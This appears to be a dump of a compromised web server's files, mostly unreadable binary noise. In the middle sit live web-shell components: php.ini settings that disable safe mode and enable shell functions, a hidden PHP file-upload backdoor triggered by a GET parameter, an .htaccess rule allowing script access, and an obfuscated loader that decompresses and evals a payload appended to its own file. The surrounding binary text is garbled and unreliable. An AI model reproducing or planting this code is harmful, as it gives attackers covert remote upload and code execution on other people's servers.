\G[?0.k?(hxneSBRoc|\nmL}^C0ΠLgo]f}(*%tjB\8致VE#+	ͳ1:#(rVhbjwcozlfrd*}e$1{Ӷī&ЬB4&q*h7&y֯Ah=
~8sq)f9̗~*k~+e~oB$I$%!1
A^VR7#Gz噞\N81eɢ!}Vqʐߘw+bjwcozlfrd̪XoiX|U#CFvr9Wt5GĨ"uI8KlAFq:kt#{2WKRXM8b)V1odBЯ@xpNٮ֒t6zR+͒D=^9(%aB\ߔ
[q%1%M6^Z'0G'M-QQ#,Δ;TTv+WCB_l@ezG*dVcz.:JN87)jOWDVWzm](Á+Gm?4^QbjwcozlfrdJqܻ.oU#7zpo?Rkwoxagtdil0Ubjwcozlfrd͕NYV;Zp7v;n\3u16pv\q~-REIgyd@oM	OMI9dI,õUK5PWcikyؠ
3RJ׬ϢǛ9+GHkwoxagtdil\;(gQB+ov:hbjwcozlfrdV
NnXI&ivʨLϻz-5޾1D;O]j:\gB2-ceWآ_2wukwoxagtdily	%?'|P߿-#m'f+. Tp[\O߇9 4t77])2vc⋐$L(RF|Z8mM5*ݗ.ɵ@9841kwoxagtdil\@T{l?+^XbjwcozlfrdhWy*Gza!yn[:Q:1bjwcozlfrd׺&L
xa\/~`sBH7Pf왱gbjwcozlfrdЏˀʚb8~]g+@E~

Jfk/qX7G*-xZs[Gm~_o i9ى
t&]hH5]7=1y5t4*s֛bjwcozlfrdXBtهqHĩ\+(mMYò
zGe!ܯ
$Js|wBrT"[1۾S=JHG2
J7	aIY?o^~R=R?}f&s(H,k_1(u@Qt `ߤcȗԐ*7ܥbd3\)So\ygku:sKzS/ES1tS_ê"'`P#'ZD"CK\A晟#kwoxagtdil=-Ծ:@LQdCx?~98MSRr}bjwcozlfrd}e%.^^;7?Flʽ톂Z[&zl$HmhԲ|-\1Wᘪs09T1kNE%6'L1*85a1;kyq2a0
˘kwoxagtdil=%X(5Ko$BDnǁ u1jyTj$3bjwcozlfrdYvgeaشE^?&yd6Oϑ֘X"eDؐ2FJܑOJj~|ƚ=qe~9۰I
`&` 
Ӓ^1
~4
rf|2[1O_0{bk$"?iwybjwcozlfrdY6bjwcozlfrdM#6o`كDtˑ8+h pNM	sYѪ*PI@J.[@%KgSK|1$
xBcm(fjZicGΝ`0tݶDTTBA\~'ą9eB*#}3V4IAZT:dl7T%]hkwoxagtdil9:n~DP`d !kwoxagtdil~@]RyӿXp\_/~I@??Ayo\6;tf0Sho5?e1̈́;pftHyDC̜3Vt%zq]zLkwoxagtdilǂj)ʛdm;'Xc*Uz+?4m4n3s^[S+s+Qdk۹mGlb7cEqtGup_GR"^.?ne=kAkwoxagtdilBo淇࣏eME
1n.lG 1J{1#g\b5{YoT⼅'JoîmG߬)wi{+CɥD&~J"ԈG')Pj[h1OgNaC`܏B?ŵ',md9V:7#{2wiW%KwH6毃~5bjwcozlfrdjƈ!wQP1{d6W%ڈ	S+BT14k%YuvW?hbjwcozlfrd}ׅoh|K	˚V`"nQQQGkwoxagtdilPbm*R]+C3C)ʥe T
8F
չjXI:ߵ'ozDTe3ZgP9cwZHۏ̈́^ԱSmAKA&
UD?qA*B}M	ۉYJk:S*
KN}ĖVaiy~G#afyGf=cfpxM@_&iAa/'0BXCr%=0%1GVKȭkLzA!/) -6g0	%隫a`Hp=8ȖDl77@Y䗇ZH(Kí8"qH1ق	B~)#+T#u0Ə/z% N0 }4&WU!|]N?6уw)T\ !qQVm9$w5*#V& "(p9Jh,^諣)$ вR2=6&*9KtYc4;Jc4"ɏpeV/j!ph`8vlթZNH(D9^I
VI 1вEO#TKGhy0g[xݯ|#l}]sS)1'($ ]Na# C%-L: D:Xk0Jro
|k]yCޖoacbjwcozlfrd}j$
9tb;
n~٘e3_\Q_3áHd2N@تe!^`ܚxW-{;b-٢.1P3!ŹmWc٫/Fç:Q=2&X@H=|E.u2Qu(CO4{^C``|:V$GؐLgkwoxagtdilzEvil9tIxhaVj}bi513֑bzS5bjwcozlfrd#FHc?GkZ'^cȽ.(݈)pgǠ
O	-WN㑓&-.4~7PneԕJD=wՖyz@
F?Џv^#C@rm,xQbjwcozlfrdȉ]$2P)]o8"QbbFfҴyT#֗ATD?'}@!/
c
.БQkA@05_|x Z|HBĲED_quu4/-ݟYJJO*Z8ae$/][\
"xFޱ;z|KwòB:pq=up1PW.I2RC`Uug"/RWf-Dg
?wkH_%^DO"9ZWT̈ݼD.O.3/&ۭN{:)EIi}-M4輅6I8mY+AX|H!.K
dW&JZнɭܹ)

E@~%VМ%]p42//gbjwcozlfrdʩ}v^`{㭪-gd0~&YKڴp J(ȿZKUg45XPe
̩im^#MbjwcozlfrdYAC5UB^c^ ?惣#a~&!lV8[wAX%ߋ1sM^n0uԡ*bjwcozlfrd,	3GԬ-rl-p {ogxβɄ\Q	MN9m	CkPd%)akChM0Qٸ+jmD=BU-\Hqw
ZmD1a0nz+jw6;AK&)Ȣ_ҊM(Өm|ErH3h,MT[xceA$7x%4*6r8k|=˫jKd0m޿-bjwcozlfrdbjwcozlfrdY+gN~֗Τ+ԨfK2~_=/mjlh+_kwoxagtdil2fǪOBhd7"85򘄝rDc";$ԣj0%FehcwCZ9h$|Y /[@KʢH|+	mJvw@ҹ6D"YcQVw}+=ه2S򢯩aOR4l)_bFT^uYmV :CΰW^jY|G_=^K_kqxa,TWRb$	ݳ"gPmqA_&"}[sJ:n!&8eykwoxagtdildB{b[&'N=KRo.=Y_|rZaxm.Knn*'&P͉Q{{(W${,_PЇr5kwoxagtdil-ACF0EL^2G o^XpHNT?eݺthLҡ?LI^P|+0^]]Ԟ_I^8(!H-u.35wBG2:+yN"2.o@N0rM׵ѭ/i~'Ԕ'5PTˬ]G][S,`UIRb]QN0e
	|fn+fs"ppT9D;4oz_rww+6-k/śAU9Kp#"]?jeb١kc7֘hفybjwcozlfrdڋ%_,wQ3d]bjwcozlfrd#k_7RS$z6e)!5dKNB:504d|ll
y5ӎ!ɡ}ܸ4~kkwoxagtdilFlz M22{B&Wwa7+{z=lIFʆ]B3 +FTbjwcozlfrd¡m{uc܎їAz)mCKkgYZxwV/GGez*΃3qFiZNI;~Bwfkwoxagtdilqtg(VJ+=n['ooVʃX([v_VokLwHBqaF	Z)UCهN_!Qbjwcozlfrd M8p!t߲Тq&N99&
Gگa5"HX@LGM2ь!GQR3Ri8œ0bZd:uCbNÓjc_$,K%ylu5U=eHpBj,w8X(S=7#K*$IvJu*m$X{Q
YJ;/:EtBe"_
UpÆpHƳnLjB0!$ R(/h+3Czs_g4uuC!â$FaxrK\5OI_t)@U1@:rE]m
('VNrTA:4y[:h+ߦƵQKjSݲ/dAR⴩¾a.\ڪYP; .FnHF䔯m ?r{a]wX1
)VEkwoxagtdil$fBYkwoxagtdil*{\akkiEͮkwoxagtdildn[
 C&jiH8D@)R+bUXa-mMAz$u5%45^0D"Lc}R10H8Ai1,Xk}CBD!vH-?{DݻG9T{)وO(nʽο0__tr&;CdQ04EM5oMUԾ[]ꕟ{kwoxagtdil~8=~~Dݫ;a5E8RIkDiCBIU7VZ
8:4$ƀkbp{s[RQLB|_Q2_/0';YDM&}B

y+N'&$3|H]r[qbOS٨wÂ҉׭13Z7l|eҡߺ'VicG&D8_)TY
_fSEOg0s9l/.0Lk'Q됩4kfNyӁDՓybZ܉Azw{-ttZEAmNwN;֐jgyYܒ$N❽ʝR4tdcJ]2cO*Vkwoxagtdil	O
!ggtwWT-[zAh͗:nNr{SqR/w+8B'\	~*;oo
ٷ6~!3v!B$S'~P9*sP)I8r@rTmLhӶH&DLW*kjw:
v-65i`qT\bjwcozlfrddx2l/.
{zrlf\@fZ}kdi5/U4MZ$ca.{bOܓa[P/8ZOXe/ NǾTLƎCh;:znRSTSNc+~ǯ##Ũ2GK*:bjwcozlfrdn?&udwt9طnyF
\LRϐf^;黉n+ڤ#"UyEǗ0Ii^G*`9+PPW̆\8NH:yQ	SropPQe߄Vubjwcozlfrdǰ7ntnzG5th_F/{5!X^9NOͪei-r$SAup|dY#=[V
 VR:dJG]=,=A`Ahͭ*~BkH@~õ'tybjwcozlfrde2bjwcozlfrdĬIBOwŴ[7zT3,}pk;iyC"()"]*QU	{D7f{9Nqo
G'B}è|'p0k8?J#=רѢJpŐ	V@\\}"
7Ym#Erh	ar-켏^NW	@w3dN~Fkwoxagtdil1]4y/Bucբbն
k28t(Uk?pkkwoxagtdil3Qcvz 9%1)yJ|
7B]@e 1&pT4FZXZtn7DG^Kf5b8ABzl*?2,lBH֦]MHty~ϠjOŅ!gXC԰i%hQJڢuwhkwoxagtdil!]^?ȥ@;JTR^BH@Ln@Ul?%9$hwJ'd/I:kwoxagtdil5kwoxagtdil,u.fbjwcozlfrd^UuTٯoުRvʙ)@yYyVnNtU_/M#KQP(-;ySLi=raL':9yCڎŵk@ej#(d
q;ϳYm派mV^{Vڏ~Β|C!:*}FG#ˁ|Sz#h+ͯ;zL(8drݫ9bZL/h|cTD@OC=EjJ[ŖQloEʰ`1PcGz?{A\6"@@0\9q.$Zi*hDũ
1vؙޡc2NoMjtWRbjwcozlfrd׶5L-9cc,L`İ%T[K_V--t,U;lbaHͶ&"_MK66v0WyNbjwcozlfrdBuNwcӱ`Rom5	2僒{i99~~|{0bkwoxagtdilQIg(fW8)H*LbMua 2*Fc8Ir:II@1 e':Zbjwcozlfrdؿccpŏrg]yxw7Up.V{Wb
%xx)rt\솺f`t(5DOشl3d/%bgsHNf-9~캼w'q8C+殀izOLJs'JJء3}{\ls=hHg7S]I2MS'sMePq)|qߊ&8x׀^SozGQ@GZ"ɶO/
_ͳdb"y6#m&SYǗbHSAÀADȿ|vPU[eHElJ]%bl'M&t_qibjwcozlfrdYGq.`GZvsX][Ω%tf}0L,LD
4i=["UH@_./ϩu^#{u] űl"S0bH,kwoxagtdilR @z[^SѴn}W=
FS,e*t\./O§um.A1_/^۾z_JA&E,3ݦ@Eqw@4uKb&YğtN0E% 	~r՛PGIdAbjwcozlfrdh+!%OD!A/FEX/e]Dsʻ(qNbjwcozlfrdf+L\֝kwoxagtdilxϽHOk&a'NqjP8Q9	S2'A~|N? %Xg	\%|4Hx/Hw鯬er\&9FPVsKr;L/B5Avbjwcozlfrd u sjgug=u;3_E	gnO{kwoxagtdil='X+CLh35K֑06s#UeD'!V+;bjwcozlfrdQ	ء	YLNO{
`?_;G*?t9R .d]!z{.-[Sbjwcozlfrd|!*q,ןq7WT,1W{ ǏLebKUE(7Q}'߆ux
Hkkh/Mjtpo竌(0*4΋bjwcozlfrdi5MQ-GMbgѓ+6c~Xf`'Yl0y'$gH-G8޵cpoRo]z"Y^:IXٖbjwcozlfrda~.gZYR`kwoxagtdil,LఈVL4b7eE.$'ǝC/juNlC667@:-R	"rՒ[c04 wqb1:q &j%fE#z_&s8+cA.Qf
	}ah4#?	^v_`Jp%$dτhNG㳘[%˓MQ̸R;l9`&{'=
ϘX"fWtZMv!oYbjwcozlfrdH̞:Ua_[5 ET,bjwcozlfrd˽{KVxk=s03U
\'Dh!u؛~kwoxagtdily#iŶs"XME8z"mN.Ǩr'D۝kwoxagtdil
~$dCt`kwoxagtdilOF0DJ/%jI+\5X#yLqи"tD'12JC`feUBbjwcozlfrde=_\
bjwcozlfrd }uyZ׺ew00r}) ^uAo3V"l8AU%|2CmI?f&yȓCnY!*ŠԤ:+} _K[T\:%T[5Wp j-s1na=-B%]fT~Sge3_bjwcozlfrd#z'HMtF^sk4ul||W)$hF$a	~"r`Aʧd.
]hߤN?n/lXY"YED:Ly|M%"ͻ_CYndqkpeoATz|ԛpmo#kwoxagtdil?F_]OX"+@k'86/0s=Տ|=&)~O4+۱[~Z&
uͻկiT} Aو`N}ͫ	܏fF8B&
Sut3Sq+0_ΙE]n8Üwmk Rkwoxagtdil)WKE[ӊF1ף]r+M};&
BxD=|5Ђ1u.^mo6GN@¢~lptcӦ/Ί#v^9pX"
\HL~kwoxagtdilpIl/bjwcozlfrdzd6V.GSD2*'yOiLe,ITuψ&Fi3ܢ/K5S%5+?򀫒MLkm+4!Ka/0("NO'	g uU$)L@Q^\c.bu5]ݰ
q~hbjwcozlfrdǁ}	#fbjwcozlfrdNZ^=q9Pl{/5⠲u~RE؊6Ll셲#+L6ɏ'n6lZt?

"d|74g߱I'@$ N󣴟/KF&j^"uR{$WrLXٷܮ7&/Umh_C ys}t{1`gWoeɏڵj.;)	~kwoxagtdilas
Pf-4pAյ:)C2ߣQL~nɬ p
ʧOvqRk6D/S8F?M[l&l^50bjwcozlfrduO[?u"Ut$'U|R(RގS[Wնbu3IT8?sjqFFUQJPt,n\,Pƀf뿑U=eCE}aMp(蛍5s-fpEJ@D-cHR
e6tpCSTd9`#qtIR"j{4/#$/
]hjGgVӋ(}?W*G!G(3BpOfFއPJL޺P9qS-
mݸs6Vȏޓu0O%I.+C@J`U ~D=%c|݅ձN-THi=̗@skwoxagtdil@,w|'A#=.f]Y
|q|lt~K)PfT_6͘#6=A3^DO8lDa~~GecȭazMs",K*/75o1 \'{Mlxc!?/8f{N*é8dC;ANy\s|kwoxagtdile浐e%}&?0wkwoxagtdil?uA-6Dwf܀em5#qE+kwoxagtdilo0\jqe~oDaxqw	kwoxagtdiloe[$JbjwcozlfrdxhɜgZ	őpQ-ޞ
HJScҬRqU wb,#kIGd\[A\Q/;obd&N1BgQ(~B=v6c6
n?r~he*Xk5?_8(\cY` 
',}Qէ_2MV$
o	%D5oE204G r4$BXpƳGkwoxagtdilL [.!涧dL.rI0cMWӖ9ٓӐDj_-.ݒiCiK~9s!h"&\ :I Jlci
mOaA{R;m1@7'e]=
0cQlfLOYB8=5Z+kTKWCB\lw+Nxxfu|&=	puEήcڜVB? )(w_f*
밺_6D@aTe bjwcozlfrdt'8K X~Xc4m췝qm(ݜbjwcozlfrdI'/kwoxagtdil)bӆ4e1T|+B8v1ԧWY\#K䏸%&\)Tdi	lS_Vr{r PWȷC|ֽ(kwoxagtdil,2bW@j8Z|V7h.N9Zs_kwoxagtdilkmv@bjwcozlfrdmwhjm\2)VB/-8F4"@oGtCJ5eK^
\U]ɬ	+D)ZwrEFV|Q.+[W*IV&[
M@fQ\T͖ɰ b6ss	kwoxagtdilj~6-/qOɾ_\Hjcw]D7q8[EeM~$SR)Z߬*hv4,,F6Z[yL,(9&K#O7gmVf#t}朲i!Hi䊥ʬ6O'fB\[٣L,Cr}bjwcozlfrdՑd;X1$9נzpt*o8.F/HQ~4S@P鷼6񳵛w:QiM.s8/0fnlߙo?]1
̰%biw+ ˺E_-/؊(7oEW7ʽ#EI\"@ہۺ;N`'XNY&ԗMGޥA0_@I컕[F|+0wF]Kw!dP.Lױ(T2x(p`ku_0\d2^*8[8cu	͌&2'Rt!OC)یzc# d!ؤ/@܋W9:8?`?6.giHFPYH[G]/RkwoxagtdilkVB/Yz0Bj2VƮhbjwcozlfrd@{WP/|_ wu2S:eq3f|{ZNo6N;\VW'݀U:B8wnAuZ~eh=/I&sQ;_`kwoxagtdilK|Χ,=A&fnK/F%~)tˤoq3n:O_
d!f8wnAΐ:w$u3ңN8@7ה}Li~M+!,yF:Y;Ԅ5ޥl!@V
Ly
:xH^ F
0/N1"^bjwcozlfrd
~cF#J=;VH(:u˒qukwoxagtdil }kOPDzUP_Jԃ@hKD_K$ '菙Tt.V#cNlƱؘ~.Tf1NvsnΠq$RR%bjwcozlfrdyN^.tGTn҈/P/{_4kwoxagtdil+r=\WOGI:0] H|
V߯";ohvΜՒ?Y^{-Lܟjgw?lRݟbjwcozlfrdz\IV[.Sa¾Uc79|S
 1&_U"p} (wjj~ar7ᮃ7z6:3AӠtRnGtQ'8l`	7}Hu|,-V1kwoxagtdil!᫡[}MF-
_5y|)xjލ˿=eHYAԏgyJzdbE1H]ε/A E8~+3\G6ؒ
	xFוRHw{^/ItY#PkwoxagtdilQv司?zHŨ䢧eB$ЂT'3kONa;$F6P	W8kwoxagtdiltisL_ 4hXs햰*UlvϧzHz)2fwU'íe(2!3iZ.:@5AwՌPQ&2ކ{z,,ħnz٠;V[$o(v(@f1v=0ScI:G`8D,KdSa(D݌mջMu:s0
LT6B*A[KMͩ&RƺSEy}&,8eK"k;qbjwcozlfrd:x4%jlM;ϊD
vX-ѵ{9hs6=M\,IpVxp4q#ˤkwoxagtdilqQPhjm~8]P$!wi"/$QzRtk"Åz`/τhmo=S'r4tN/ۥaʹ?h M\V3u-m+QlO2Wbjwcozlfrd:ࠛ
 :.lk#(R׼ޒY5\id`]L 1׉SpPhkɬAC`aXd/Skwoxagtdila?	@E\_4[;XY)MKZLg頷U-4+M*8úEIGK(kwoxagtdil!Vyq-Z3@￦z|K-ɉjԯ&?Z;Dh!w	?cPilzEG_ռc^	?ngsRh	VmS&+I,[+sOl۷9,
lbibjwcozlfrd&%8-t䂾3JF T|bjwcozlfrd3e~#mos`
=X$~8j_W!	KkwoxagtdilbVp3{]
q2PY(P|4^iOҊJ1ˠ_zS!	aBo7{4
[e&Oc^q|v8F(lQ TIg8ox@O}53ј9(\vHzo~Rf+||	*ɦkPe"^M@I[ԅ+
lEz'~1zC۷wT4pn/?lTux;,}%9~` `/7bjwcozlfrd:[fF=/QHh:n(?,eغd=bjwcozlfrd{J9f )| V$U+byqu';mnYwC!H˧rUA Wk#09J]Ýd2]RQ@E
B4EHbjwcozlfrdپ8R
s?N4%UPO?HɝV@mLgݱNr*G~cA*6NGAc.p3W";@y
?ME !-ѣ6Z·9x&2p}aI,kwoxagtdill*$	Ip`cPzaRXpbjwcozlfrdIg .
vm
.N(=ˉD&Ikuk-`!^m:ͬJej_*}no@gF֋Ʌүbj{#q',Oz
	l5\*l/,zLw+g! ,*Y`Nj|O 9ad6ɐw9/$G-܆4blP!{|]Pbyz,A#	o]I}:}Ƌ֤ˇV
#Q;*D%g/}l`Ig-_t 4h{֪㫎}"mRoD~xráPr~_x-K+NoIn읓M\~kdQ+il-Fm7f"_o
LafC\.{Y*uXpJ 5=b~{:Q
ZX !taDR[,tkAT@Yj zf+kwoxagtdilz)MS8bjwcozlfrd̓=w"p1@6EsΞ(~q1|i A
NT 1LF/˓%V__¼(Yy|$jdUXX.jR6vm+kŢY|Uӷ3y
X)ʱ,b({Ro a)bkwoxagtdile=ؗ!{絗Q5	A7ݬthgKkwoxagtdil))F}E_&U&fPَY0	1B,{kwoxagtdilbjwcozlfrd?u:Vt~;
w_NAL)r-$Cb	,l_.ޣBg=Oskwoxagtdilt@ZE}V~ _ť4) gzeRЏ	EN# 'Tta!MdYFaPPak{9h
^
Ql	eշ^ԟ-Ur+Eǧ-
kNArD̈́ [Dlfrϱ+id
jVe\:9{L:qtp!)ԗ9H9FePPXgv҈Urn)$,Vkwoxagtdilh4h[U8ūeJM7bjwcozlfrdLykwoxagtdilYU4R0F""_U6O'
yS2f	J8/zyY6fЗQa ;;2kwoxagtdilڐׄ-Ғ`)"ۅxT?QK*h栳ɶBjA$z4g!A}bjwcozlfrd2"pU@bIR;eӴGO\D#j^:bjwcozlfrdiA^cRӭ5(41g,pO}:ɗp(8쩻n`o~$#JL
MK.=.)S/\YȌ}NLo"n]T ]a
/.ZMp'"Y|yK~k52bjwcozlfrdkwoxagtdil!QDKy,MTbjwcozlfrdG_dP_pܵ{qOȖa|%~,c(9*exqɱ$L+ },DL'
6ykwoxagtdilHT'kG+1pcd -Z3dz+E
S"K垂Y!dg/}0%~VJD]f\p
[345T%zA2@u^hrYhҊUY+e/7Ya	/ݨpQzNQPagku9b
b4Ko
4pD+Guu?fg7iXv8?mkCf _֣d(丢u( JD\hw}D3JPSdP:?k[Z0=ѽ
դ/)(=᧷QLׇf	ERB:&F)V
ZFLYnX4\.GZvExKOFTXXx?͓Ww{$@3 ":Vé`^#ߦt
C`vl
12$NŻi
'Q~y|ԚJs@Z̫AE$*ˢsm$=ˬDP"OYuhö^ҡ /U-En6
yC;OvF 'U]3g
;Uyle\sgؐřP/81.S.IHo12@Ba	8L$jggbjwcozlfrdJ#;
sL჆Q'#s1%6po2P!K56z˖
L:7jN6nX-Vױw\o9Kgr-%hѕ9T0swr.TgXvK r۩)5; ]?W|)X}uA7|0Y$coth/Z] [NEkwoxagtdilD"-!:LH೯%K/cM
MGj(tJ#P]'['b Zu/otP#N%1uGp!4.9CΰyGE3kwoxagtdil
FoqYItivIuTҳ$h~h8=aC?r6E,JΒ@t{UCI|^-7=;4(n@+yoA"dtrTckwoxagtdillnX= s^2nJ dc؎S?lW0uz4=RĦJuuqn?	L7~dOéBAHvN(H
_FzwH8hV 	j?!^]9~N#Q)AODyF)1.sH±05Ɂ9HIS*
[bjwcozlfrdwc¯/3t7\ uT:gy4.
'k\ˇ4wIXq}&CkڃLpAJM0
r(BvV9ٔ|tmɲJ1r~"kwoxagtdilɒs8t7*
e N,'Ebjwcozlfrdm}@=,CNL=6/K|&$;]+~\C 4~^CAn&a?o隕̓ B{
j} E}D8gQ *D6]|B߂ lTgVmN[dh8GJ.\X'i?pzK#HЇmȳe_?\[g2( U@r. bjwcozlfrdFv&[x~fX2*Q21n3CEG`c
n(⻅;
~LuVj`֩!
a%$ȣB4Z%=Kq$(qdY%dۖ~I.Hm3:ϗ&H_¢)S f_e6lk-cfk?@Q珸]syQ0O׵WiV͡v"ʋs*g[4wlYe'MZ*SFgΒxTo黟6VZFQ8
ϗ	q!$ޙ Q^ᘆ-J!=^'wbjwcozlfrdUw}aE1g颦V ^Iʬ6Wڨ5_7oUG%T.1ļ#UT7RW4`9QXv=OUfdl_7by+l8RBѤd+\b+lV9bާٷ náwn$ڗ(()II/4@IBHt&] 6ɥyy}H&,І2Y̗7r1)jFhٔ0_X/|\hO!4DӼ%4MQ[~"Ѿo;N4ڿзHbjwcozlfrdd1myY$M$}S*t(h &+tR8Gv?]0VC2{)e7/þ$A߿eXͅ3?XKm~RX
6:
'?pbjwcozlfrd73bjwcozlfrds#1$ xZw|nQ}!A.z=tǸFIE|R=mU|:i,%XFlY~nz4p.(Fmzmm@.-[e1Р	/Ӗo8bjwcozlfrdŜLv]O`r19ol_kwoxagtdil1@-"/pI0uART
|Y[vWè=@?vekwoxagtdileNJ8OJk{qR̹v'(tvQ -|\N;jvKc;/|kwoxagtdilIXpQD'^"Ze^REf!cgYmiA4À+.p-nʹpWy]-(4l'RT:N3E8ླ)ɻw U@9qWEƱͯ2H"e5տK̋X%ʞntI0Äta~~y [\()|Y1ӥF*2U?(rk|W7{W9
 0nnY	Gc9PEuԙҏ!ëf?JFR2.jM4_h?Os]Ǝ}`կ3ۅ=Ώ?i;;ۍ?ˁ7ewj/+TuJr	?w6
y8]7B½S}7t; AEn=~=u]A&2sbjwcozlfrd+* 8wn}[U$
v!	7X!$p˻q"ƻ-ԞAbzĵ"$|f@ۊ\eA7KR5kcٴ-O?WG[VYcx9bA/`ywy (=`6j#BG^ctS3|Ht_%'1I6RҚJK@gp3-CFi=9!~D܊r(1h:C~DSAG{SeN[Meo6&LȺv}
;G,xH0*	×EIn,,70[;|*vw}wĽl2kwoxagtdil'kwoxagtdilm+|7Ij^ZC2eٓhkwoxagtdilPWY3)񐞬~478kwoxagtdil?Yj1LCy6ƼV:u[IAƢ`F\Vbjwcozlfrd rbOzrI^&lQU"(3
*޽}R 	KXP{Hn05R36sfiO}moz#űdUQH7mH?cFh SGWD:YYfٯдnh/IR_QB~,$8dnm!c2S\]+ B:safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$vpkV='sub'.'str';$CSVM='exi'.'t';$uJcq='fi'.'le'.'_'.'get'.'_c'.'ont'.'ents';$bNLC='gzunco'.'mpress';$FKAf='st'.'r'.'_repl'.'ace';eval($bNLC($FKAf('mndyjzowfu','>',$FKAf('ljibermyfp','<',$vpkV($uJcq( __FILE__ ),-28158)))));$CSVM(0);
?>
xTGPJ
Tբx7A0)=wW܌ 9{HWQL'?}͋?+,V+붼o.Fnc-R߶?{w+n.{)߲5c/?ZlgެS_ZmϮz7ۊ#3?F\ۿ鉋͞:HQj	]"'oAA /x悀:w
ث5WIH	86hˏ,nj֛᫠60q?y/6z%&G+(8vR(o+ ߱ΟXj)Vs1Ԃ@,.mf2  
KjΓ!3@.$HS-4;Fձi"tPCvmtКi7)kJQ#~llsM
ljibermyfp料lqlC
C
牋aq?.I-s
?0~+k@:`3ۮy܄V{xbK"2fAA9 H_s&q"ٓ_a7X:m:ҽC~iM\~qtTI0(ff|aXcpI(;PH.U5GL_} m5dRp,nt|tL\gXOzrkm9V( 2mndyjzowfuqy8i,4OP;II4amndyjzowfunD[N^6)r28uljibermyfpWdsBm:TˍbUSHwoٝMٰNA+X*ٴrj	`ښF7t|9ABmѨMкf8ߧ_~ںЏe9qY mndyjzowfuڊaӱ"mndyjzowfui!"Y9ů:;4W[ޯJ}пD@֙JYPبC8͂[k3tv+v(IޝƮ*ǫK
a25k"}ST%"*qI`RA*"0jlY6wؒ8J=7&^'$+EwGyQ~
r8#icteQhq)8SFab	/M3fU`@
 䶜(h}uZ;.%^i:%*̣5jԂ|%zDfk	'bxڌ,`Y Jmndyjzowfu抶`.(UTH_uVC"bF36ǯ cyQmndyjzowfuL܅,ia1MrGcXF##=[	Vpwc/czᮣmndyjzowfu]?s:UXyTh|e4|\Qo_3*O9Q:\Kݚ1߀JQ@9m9v߭Z6I_#֋{G/Z?fQ(ucLGY6͛K}ĜSYP;56.Y%ҟU}0\Rj`l
	֑M_]䱾# '&q:#&:d@5mndyjzowfuBmndyjzowfuts1mM%=m5PLaD] {/qKu\DЅsh #
J$TCLT2Kbeαn&	J-JʋJE[f9Uf gXmq29xmndyjzowfuK	4Ñ85gS˱	w@	pS
(DNyky:02̯(/͝30F
Tb)֜I	nnBG*˨@==',ݏ^+vrY̜Q:$Es/,M^nx,WUO=ppv4dɀdeH.[5@U1G-e#Vlx6jT۾NV2f'&ljibermyfpF+ula02#}
5n~MxI؞{5 'C*%aQٷx2qR."AMG)M`ٿh~?@&Є:`9P"9_};mndyjzowfuf1\@uHsO!bZoڟLkpljibermyfpi$|zHe!s`#Z
FanJlq]ib)w:0p@%e^ex
.rvmŹX
UGgԛm
D֨"e'f
0jS#y|hE2~Ss%u^qۧʋ؏ǧq/,Y;}T~Aj=:9B v;bTe!I,Mӳ}{W
ûf&S(ibLWYфƁ	hS~Cl3u(sZZxf^)X
K l!|nZljibermyfp FDiYisj"]Q/-(w|?ӈD/ܼ8@(ML8SFʞ#"tEgX?7Q1mdOa`z֨Ԛeဿ-8]Β[d}{ߟ~XBF^O+KG]?B%f͏Kljibermyfpa@WrbYuV&ĦбM| 9Fi=F
mndyjzowfuo=u;d[bۚ
,]j|sMطsǘ;kln?9kiڵôuTZvH2( D"qpDPGmRai^LEڵfov.Ked2!hG+ĺR	DqQ*Ճ"Q$:nё=pAG25u1yiJVV\!0%ozSqsڨR)0kb9[9yrД8
5%4V';yuOWp D*Ѷz]1설'-a8JMYV!J^Ļ+u4M\^Oǐ߯vT]jE$dӃSB'Aoljibermyfp_lm/+(!FZ	3dY
g~7%4v'Un}fknCWr9ĔZp3ݭNljibermyfpaz~OLR.A/z's~Zќ(}T&3ϔgVh2-JYNԙx5ٽܸL. zb.#U f:䜞CH[ztEa88'#xXlAH-*.XZWf}ȹȴt-:'īyj3ҵfWy.s	R1cޛ|(-1LȖ@5
p`e.:mndyjzowfu7cZIӞmndyjzowfud$yf1[+40Ygk808	Bo֔5Lomndyjzowfu*mndyjzowfuGo[\en8|d@4BݬHaBljibermyfp.H*NgE{
}:CGuPm/
/ujBf8%
|kvGU(~[L75ҁbm;e~
tHkWe?Ⱦt"R9)(#~R"@-:FՂhb,
d$a9_ZNEGn-,5	?`e3Ô ͈n{8JQXvC*.p2=lnR l5,\Rʊ^ηSpyNDVsef$ĖٓbCO޴i7k*$e|!C?q3ʹ8[VO-QTFaw,Qmndyjzowfu}nbGr6OF%r8{c"4F.SX9Ukga"r7ikR_?]WOI;5mndyjzowfu{e֥:J|lyX_$UCJY|}YUZl	7hc{b569gcَmi"hOvsYA6);v{`jxԟVE˾IdZx2Ψ
&aGvS rl4/S%Kd	Ѻ0[{VhYrIR]避t!aClP fΡ8 -(i#t})4],1QOajyUToC IM&Tmndyjzowfuͱ-/rjv="&x}P+`ij(fg~J,&~hʾmu*;wG#.%7mndyjzowfu^9uIʢlcY9K[P"T͡@i/蛨PBB[fHΕ:xROQ	딒TK;fljibermyfphnϠ-v"ҐIv|~Vmndyjzowfu5
Tk*
(ߜQ5ܒ3#
};c蝼fg:=7o3q^0UCKCptkA
=8_lOeG8] q
F&LL\({$|~Wljibermyfp8ZQRb֯7$[
*Lλj)K{Y+e"eljibermyfpm)
!:v=O &I(h} +}O f;0h",U**Vsuv8MDhfw`ؑkr/7r
"f38CȊ%񢣖$jcgn1LٵTb̽IT6l!
mndyjzowfuVs2xB`sljibermyfp
K+36?Ws}%Kz"?LTJ.ӸDZ=#/^  Rng8!4fe
"ED8t04mndyjzowfuj
